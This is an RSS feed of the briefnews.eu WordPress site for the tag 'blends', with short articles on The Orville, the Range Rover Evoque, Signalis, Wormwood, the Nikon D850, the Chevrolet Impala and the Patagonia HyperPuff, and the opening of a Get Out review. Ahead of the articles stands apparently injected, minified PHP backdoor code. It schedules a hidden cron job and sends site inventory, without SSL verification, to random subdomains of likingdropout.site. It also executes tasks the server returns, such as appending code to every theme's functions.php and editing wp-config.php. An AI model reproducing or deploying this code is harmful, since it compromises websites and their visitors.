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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); blends – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 30 Dec 2018 09:31:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png blends – Brief News https://briefnews.eu 32 32 The Orville blends science fiction and science fact into a winning mix https://briefnews.eu/the-orville-blends-science-fiction-and-science-fact-into-a-winning-mix/ https://briefnews.eu/the-orville-blends-science-fiction-and-science-fact-into-a-winning-mix/#respond Sun, 30 Dec 2018 09:31:36 +0000 http://briefnews.eu/the-orville-blends-science-fiction-and-science-fact-into-a-winning-mix/
The crew of the USS Orville stands ready for a new season of adventures in season 2 of <em>The Orville</em>.

Enlarge / The crew of the USS Orville stands ready for a new season of adventures in season 2 of The Orville. (credit: Fox Broadcasting)

The Orville, Seth MacFarlane’s warm homage to the Star Trek franchise, delighted viewers with the interstellar adventures of the crew aboard the titular starship. As the series gears up for its season 2 premiere on Sunday night, Ars sat down with writer/producer and science advisor Andre Bormanis to talk about some of the science behind our favorite episodes in the first season.

(Some spoilers for season 1 below.)

The Orville had a rocky start, at least in terms of critical reception, garnering just a 19 percent approval rating on Rotten Tomatoes when it debuted. Viewers begged to differ: they gave the freshman series a 91 percent favorable rating, won over by its skillful mix of humor and drama. That’s a tough balance to pull off, but The Orville does so more often than not. This is a smart series that combines slapstick humor and witty dialogue with cutting-edge science and the odd literary reference. (In one episode, the Orville visits a two-dimensional world, complete with an allusion to Edwin Abbot’s satirical allegory, Flatland.)

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]]> https://briefnews.eu/the-orville-blends-science-fiction-and-science-fact-into-a-winning-mix/feed/ 0 Range Rover’s 2020 Evoque blends style with sustainability https://briefnews.eu/range-rovers-2020-evoque-blends-style-with-sustainability/ https://briefnews.eu/range-rovers-2020-evoque-blends-style-with-sustainability/#respond Thu, 22 Nov 2018 20:06:04 +0000 http://briefnews.eu/range-rovers-2020-evoque-blends-style-with-sustainability/

For the last decade or so, Range Rover has built vehicles more akin to posh living rooms that occasionally go off-roading than the rough and tumble Land Rover Defender 90s of yesteryear. That trend continues with the 2020 Evoque, albeit with a number of innovations that will minimize its environmental impact when you decide to literally go over the fields and through the woods to Grandma’s house this holiday.

The new iteration of the Evoque looks a lot like last year’s, it has all the same general stylings that one has come to expect from Range Rover’s line of compact luxury SUVs, including the iconic coupe-like roofline. The 2020 model however includes a bunch of new gadgets like LED head and tail lights and flush-folding door handles.

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The interior has been redesigned to improve legroom (thanks to a slightly longer wheelbase) so that tall folks aren’t constantly banging their knees and increase the trunk’s overall storage space. Instead of leather, you’ll find a host of more environmentally conscious materials such as Kvadrat wool and Dinamica suede on the seats along with recycled plastics and natural material accents by Eucalyptus Textile and Ultrafabrics. As much as 73 pounds of every 2020 Evoque comes from recycled materials.

But don’t let the natural materials fool you. The 2020 Evoque’s interior also features an InControl Touch Pro Duo infotainment system, the InControl remote mobile app, 16-point adjustable seats, Apple CarPlay and Android Auto integration, and an optional 4G hotspot (which also allows for wireless, OTA software updates). It’s also the first Range Rover to offer “Smart Settings” an AI assist system that learns and remembers each driver’s seat, music and climate preferences, resetting them whenever you get into the vehicle.

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You’ll find a host of new features under the hood as well, including a 48-volt (296HP) mild-hybrid powertrain working alongside the 246HP Ingenium four-cylinder gasoline engine. When braking at speeds under 11 mph, the engine is programmed to turn off and allow the regenerative system to harvest energy from the slowing vehicle which can then be used to assist in its subsequent acceleration.2020 Evoque 4

The new Evoque also boasts technologies that we first saw on Range Rovers Discovery Vision concept vehicle. ClearSight Ground View, for example, is based on the Vision’s “transparent bonnet” idea. It uses cameras in the front grille and sideview mirrors to give the driver an 180-degree view of what’s under the front end of the Evoque. Remember folks, always check your undercarriage for cats and other furry stowaways during the winter months.

What’s more, the rear facing camera above the back window doesn’t push its video feed to the console-mounted 12.3-inch infotainment system. Instead it sends it directly to the rearview mirror, which is actually an HD video screen.

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We still don’t have word on pricing or availability on the new Evoque. Those details are being revealed at the Chicago Auto Show in February.

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Signalis‘ atmospheric pixel art style promises a dark adventure into surreal sci-fi, of “melancholic mystery and…dystopian dreamworlds” tinged with cosmic horror imagery and elements.

Signalis places you into control of a “Replika” crash-landed on a mysterious planet, haunted by visions and discordant memories as she explores an abandoned facility. Old-school survival horror – resource management, tense combat against inhuman foes, exploration and puzzles – is Signalis‘ core, anchoring the challenging gameplay and narrative through a detailed isometric aesthetic that brings to mind games like classic Resident Evil and Fear Effect.

The trailer and Twitter GIFs tease more eldritch happenings beneath Signalis‘ sci-fi surface, with hints of ancient tomes, looming tentacled beings, and weird surreal landscapes and structures that look distant from the snowswept planet setting.

Signalis is expected to receive a Kickstarter later this year and consoles versions are also a possibility post-PC release; you can learn more about the game through its site and Twitter page.

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With Wormwood, documentary filmmaker Errol Morris creates his boldest, most thought provoking film yet. A delirious, haunting blend of talking-head documentary and narrative reenactment; a true crime saga that doubles as a government conspiracy polemic. A saga wrought with mystery, grief, scandal, and puzzlement. There’s never really been anything quite like this.

Dramatic reenactments of real-life moments are so commonplace in documentaries now – particularly true crime documentaries – that it’s easy to forget that there was a time when they were considered taboo. In 1988, director Errol Morris’ documentary The Thin Blue Line flipped the documentary form on its head, examining the murder of a police officer on a lonely stretch of highway, and the clearly innocent man convicted of the crime. Morris’ film made headlines when it lead to the eventual release of the innocent man, but it also had documentary purists furrowing their brows due to the nature of the film.

Unlike most documentaries at the time, The Thin Blue Line was loaded with dramatic reenactments that restaged the events surrounding the murder – a decision that seemed to go against the very nature of what people understood documentaries to be. Yet what came across as unusual and questionable at the time of The Thin Blue Line would eventually become commonplace. Now, whenever you watch a true crime docu-series on TV, dramatic re-enactments are abundant, and other documentary feature filmmakers have adopted them as well.

Morris takes dramatic re-enactments to an entirely new level with his latest film, Wormwood. In fact, there are so many dramatic re-enactments here that I’m not entirely sure you can even classify this film as strictly a documentary. Instead, Wormwood is an engrossing, strange, haunting work of art that blends fact and fiction, fantasy and reality, in a possibly fruitless quest for the truth – or at least some version of the truth.

At the center of Wormwood is Eric Olson, a sharp-witted, droll man still haunted by the death of his father, Frank Olson, a biochemist with CIA ties. In 1953, Frank Olson died after a fall from a window on the thirteenth-floor hotel room at the Hotel Statler in New York. And there’s the rub: did Frank jump from the window, committing suicide – or was he pushed? The Olson family always had their questions about the event, and in 1975 they received a possible answer: the United States government revealed that, as part of the CIA’s top secret MKULTRA program – a program that strove to learn the secrets of mind control, among other things – Frank had been unknowingly dosed with LSD nine days before his death. According to the government, it was a mental breakdown caused by the LSD that caused Frank to take his own life. The government issued an apology, provided the Olson family with some monetary compensation, and swore to never do anything like this again.

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Case closed, right? Maybe not. Eric Olson has, understandably, never been able to let this go, and the more he’s dug into the events, the more he’s come to believe that his father was deliberately pushed from that hotel window – pushed because he had learned some particularly damning secrets involving the government.

It’s a juicy story, wrought with the type of government conspiracies that would make Oliver Stone start howling with excitement like a cartoon wolf in a Tex Avery cartoon. But if you’re looking for definitive answers, you won’t find them in Wormwood. In fact, I’m not even sure Morris is interested in the answer. What he is interested in, however, is the story. Or stories, to be precise, because Wormwood presents several different possible solutions to what happened to Frank Olson. And that’s where the dramatic re-enactments come in.

The reenactments in The Thin Blue Line, and Morris’ other documentaries, are often vague and expressionistic. We rarely see the faces of the actors portraying the real-life subjects – they tend to be shot at angles that shroud them in shadow, perhaps to keep us from realizing the actor playing the part doesn’t entirely look like their real-life subject. But that’s not the case with Wormwood. Here, Morris stages the reenactments as a full-blown feature film, with recognizable actors stepping into the parts.

Peter Sarsgaard plays the late Frank Olson, and we watch as he slowly unravels before our eyes. Sarsgaard’s Olson is at the center of a shadowy, unsettling scenario that involves loaded glances, smoke filled rooms, and a constant air of menace. Other actors show up as well: Tim Blake Nelson, adopting a creepy stutter, and Bob Balaban, possessing an eerie calmness, play Frank’s work associates who are clearly up to no good, and Molly Parker plays Frank’s suffering, confused wife.

Throughout Wormwood, Morris cuts back and forth between long stretches of narrative feature to interviews with Eric Olson and other figures associated with the case. The effect can often be jarring – sometimes, we stay so long in a narrative reenactment stretch that we almost forget about the interview segments, and vice versa. It’s an overall curious approach to this material, and I’m not entirely sure if it makes much sense from a technical standpoint. Yet at the same time, Wormwood becomes all the more engrossing and hypnotic as it unfolds across a lengthy six hour runtime. No stone is left unturned here, yet there are no real answers. And perhaps that’s what Morris is most fascinated by: the attempt to tell a story without knowing the ending.

Wormwood is firmly an Errol Morris documentary – like most of Morris’ films, Morris makes his presence known, flinging out questions or droll statements from off camera during interview segments. Yet the filmmaker also abandons his tried and true techniques. There’s no sign of Morris’ “Interrotron” here – a machine the filmmaker uses that enables his subjects to speak directly to the camera. Instead, Morris opts for a wider frame, with the camera further away from the subject – Eric Olson is sometimes sitting slightly to the side of the camera, looking off into an unseen distance. Here, unlike other Morris docs, the interview subjects aren’t addressing the audience directly – they’re instead shooting their questions and answers out into the void of time, waiting for a response that will never arrive.

In the end, Wormwood is unlike anything you’ve seen before. It’s bold, inventive, and exhausting. Just when you think you’ve solved the mystery, Morris resets the timeline and says, “Ah, but what if it actually happened this way?” The effect is disorienting, yet strangely rewarding. Morris isn’t so much trying to solve a mystery as he is trying to let Eric Olson tell his story. At times, Eric compares himself to Hamlet – a lone figure still haunted by his father’s ghost. But one should take care before comparing oneself to that doomed Dane – after all, Hamlet’s quest drove him to madness.

Wormwood is now streaming on Netflix.

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Nikon recently teased a full-frame D850 for its 100th anniversary, hoping it would fulfill the wish-lists of pro photographers. It has now unwrapped the DSLR and seems to have wildly succeeded with that goal. The D850 is entering medium-format territory, resolution-wise, with a 45.7 megapixel sensor, and can push those images through the camera at 7 fps, or 9 fps with the optional battery grip. And this time, Nikon didn’t leave videographers out, as it can handle 4K video at 30 fps.

The D850’s sensor is a pretty big jump in resolution over its predecessor, the 36.2-megpixel D810, and Nikon says it has an “unprecedented combination of resolution, dynamic range, ISO and processing power.” It’s the company’s first DSLR to boast a back-side illuminated (BSI) CMOS sensor, and eschews optical low-pass filter (OLPF) to preserve maximum sharpness. Nikon didn’t mention who built it, but Sony uses a pretty similar sensor on its 42-megapixel, full-frame Alpha A7R II.

ISO ranges from 64 to 25,600, but is expandable from 32-102,400. It borrows the D5’s rapid-fire 153-point, multi-cam 20K autofocus, with 99 cross type sensors. Thanks to a new Expeed 5 image processor, you can buffer up to 51 frames of 45.7-megapixel 14-bit RAW imges, or 170 frames at 12-bits, making the higher frame rates more useful. The D850 also has a “silent shooter” mode, so you can operate in “complete silence” using Live View and the electronic shutter — handy for shooting sensitive events.

Video-wise, you’re looking at 4K UltraHD (3,840 x 2,160) resolution that uses the full width of the sensor at 16:9, “to increase lensing options and provide a true field of view,” Nikon says. You can also capture 1080p video at up to 120 fps. Timelapse freaks get 8K images using the built in intervalometer, or 4K in-camera.

UltraHD video can be captured to the D850’s memory cards (XQD or SDHC II). However, higher-quality 4:2:2 8-bit uncompressed video (no 10-bit, sorry) is only available via the HDMI output to an external recorder — which is very similar to how Sony’s A7R II works, by the way. Videographers also get focus peaking, zebra stripes, and inputs (3.5mm, but still) for headphones and a microphone.

As for the rest, there’s a tilting, 3.2-inch touchscreen, radio flash control, three sizes of RAW files and a battery that offers 1,840 shots at full resolution or 70 minutes of video on a charge. You’ll also get dual card slots, illuminated buttons, focus stacking and WiFi and Bluetooth connectivity. The magnesium body is weather sealed.

Nikon’s D850 should really please landscape, event and portrait photographers, and even sports shooters, to a lesser extent. Though it can’t quite keep up with the D5’s 12fps shooting speed, the much higher resolution will give you more cropping options and better overall quality.

In that sense, it’s also a pretty good response to Fujifilm’s $ 6,500 GFX 50S, a medium-format 51.4-megapixel, $ 6,500 camera. In fact, Nikon specifically mentions the term “medium format” several times in its press release, likely in response to Fujifilm (and Hasselblad). Nikon also reminds of us its much more comprehensive FX lens collection compared to its medium-format rivals.

It’s also got to at least keep up with Canon’s 50.2-megapixel 5Ds — it doesn’t match that model’s resolution, but it waxes it in nearly every other way. As for the Sony A7R II, that mirrorless model has very similar specs and is much lighter, but plenty of pro shooters still prefer a real optical viewfinder, and again, Nikon’s lens selection is inarguably better. The closest rival to the D850 might actually be Sony’s A99 II SLT, which can actually shoot a bit faster at 12fps and costs nearly the same.

Speaking of, you’re going to pay a lot for Nikon’s new model, but the price seems fair for what you get. The D850 costs $ 3,300 for the body only, and the MB-D18 Multi Power Battery Pack adds another $ 400. It’ll arrive sometime in September, 2017.

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Overview: Some returning nameplates strut into a new model year with the braggadocio of a heavyweight prizefighter returning to defend a title. Others just slink in and take a seat in the back, preferring to let their skills do the talking. The 2017 Chevrolet Impala sedan definitely is one of the latter. Comprehensively redesigned for 2014, the 2017 version arrived devoid of hyperbole, with only a few minor changes differentiating it from the previous year’s model. Available solely as a full-size four-door sedan, the 2017 Impala continues to offer three trim levels: LS, LT, and Premier (formerly LTZ). Motivation is provided by either a 196-hp 2.5-liter inline-four or an optional 305-hp 3.6-liter V-6. A six-speed automatic is tasked with shuffling gears regardless of engine choice. READ MORE ››

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]]> https://briefnews.eu/2017-chevrolet-impala-review-competency-blends-with-an-under-the-radar-personality/feed/ 0 Patagonia raises the bar with its HyperPuff line, which blends the best of down and synthetic https://briefnews.eu/patagonia-raises-the-bar-with-its-hyperpuff-line-which-blends-the-best-of-down-and-synthetic/ https://briefnews.eu/patagonia-raises-the-bar-with-its-hyperpuff-line-which-blends-the-best-of-down-and-synthetic/#respond Mon, 17 Apr 2017 04:26:34 +0000 http://briefnews.eu/patagonia-raises-the-bar-with-its-hyperpuff-line-which-blends-the-best-of-down-and-synthetic/ A California-based company revered for its revolutionary breakthroughs in outdoor apparel, Patagonia‘s remained on the cutting edge of fabric development. Recently, the popular brand successfully combined the best attributes of both down and synthetic materials in its newly announced HyperPuff product line, including hoody, parka, and jacket options hitting stores this July. The HyperPuff takes warmth to a whole new level, integrating an entirely new form of insulation in an accordion-like fashion which allows for down-like compressibility and self-lofting capacity.

Down or synthetic?

For years, mountaineers have asked themselves a very simple question: Should I wear down or synthetic? Both types of insulation provide for different needs and it’s normal to own multiple pieces in each category. The bottom line is, both goose and duck down win the warmth-to-weight challenge by a large margin while also scoring high regarding compressibility. The fluff beneath bird feathers kept people insulated for centuries, heralded for its ability to loft and create a tangible area of warmth around the body. Perhaps its lone downside is the fact it’s essentially rendered useless when wet.

Synthetic insulation ranks first in terms of breathability and insulation when exposed to moisture. While down soaks up water and clumps together worthlessly, synthetic materials prevent absorption and maintain physical form, continuing to insulate even while exposed to moderately wet conditions. This aversion to water absorption applies inside as well as out, with synthetic jackets providing excellent breathability during vigorous physical activity. However, Patagonia’s latest line bridges this gap, combining the best of both synthetic and down.

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“The Hyper Puff [products] do not use any Primaloft insulation,” Patagonia product line manager Linden Mallory told Digital Trends. “The insulation was developed internally with another supplier in Asia who had access to [a] special non-woven machine which orients fibers vertically instead of horizontally like traditional insulation. We’ve termed this insulating material HyperDAS Insulation.”

Patagonia implemented the original DAS insulation earlier on in the company’s product line, highlighted by the DAS parka, which boasts a combination of PrimaLoft Gold and PrimaLoft Silver materials. DAS literally stands for dead air space, which was designed to replicate lofting ability and serve as the warmest synthetic material on the market.

“The sharing of the DAS acronym is the only relation [between the original DAS insulation and the HyperPuff],” Mallory added.

In other words, Patagonia’s HyperPuff line features a synthetic puff jacket that actually puffs, mimicking the warmth of goose down while upholding the increased durability offered by synthetic materials.

“The outer shell is 1.1oz Pertex Quantum Nylon Ripstop with mechanical stretch that has been treated with DWR,” Mallory stated, ensuring its capacity for withstanding the rigors of the mountainside.

A backpacker’s dream

The product’s unique ability to compress and spring back to life is unprecedented, allowing for easy transport of an otherwise bulky jacket in a small stuff sack. When removed from the sack, the jacket puffs up immediately, quickly filling individually sewn regions with HyperDAS insulation to capacity and allowing for immediate warmth. One of the biggest problems with synthetic insulation is its lifespan and inability to retain loft over time, as opposed to regular down which typically lasts decades. The HyperPuff shattered these standards as well.

“The unique construction which orients the special fibers vertically instead of horizontally allow us to prevent almost any loss of loft after a 24hr Killer Wash test, meaning even after our most grueling testing method used to establish longevity and material resilience, the HyperPuff sees almost no degradation and retains virtually all of the loft and compressibility,” Mallory explained. “Most insulation materials compress with wear and wash, many as much as 50 percent after repeated compression and washing, and down is not immune to this degradation, even with proper care.”

Where synthetic material once failed, it now exceeds the capacity of real goose down. To top it off, the HyperPuff products register just a touch heavier than the original DAS. The men’s DAS Parka weighs in at 23.6 oz while the men’s HyperPuff Parka packs a whopping 25.4oz — fairly impressive for a product providing a substantially higher degree of insulation.

“We purposefully selected this accordion-like construction because it maximized loft, compressibility, and recovery in a way we’ve never seen before,” Mallory continued. “The HyperPuff Parka, which uses 2 Layers of 100g insulation in the torso and is the warmest synthetic jacket we have built to date as determined by third-party testing.”

The HyperPuff is truly unlike anything the industry’s seen — and yet again Patagonia makes a massive leap to a higher plane of development in the world of outdoor apparel. The decision between wearing synthetic or down in the coldest and wettest of places no longer remains a compromise. The HyperPuff provides the best of both worlds and ensures continuous warmth — even when wet.

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It’s the perfect setup for a horror movie: there’s a lonely house in the woods and a weird ritual that our naive protagonist Chris (Black Mirror‘s Daniel Kaluuya) doesn’t understand until it’s too late. Except the “woods” are a bucolic suburb and the weird ritual is meeting his girlfriend Rose’s family for the first time. But something even creepier than awkward small talk is going on. And that’s where the horror/fun of Get Out begins.

Chris has a tragic past, but he’s become a successful photographer and finally found happiness with new girlfriend Rose. They’ve been together for five months, and now he’s ready to meet her family. But there’s a little more tension than usual in this relationship rite of passage: Rose (Girls‘ Allison Williams) is white, and she hasn’t told her parents that Chris is black. Chris is nervous, but Rose points out that telling her parents: “Oh yeah, I’m bringing my BLACK boyfriend home” would have been even more awkward.

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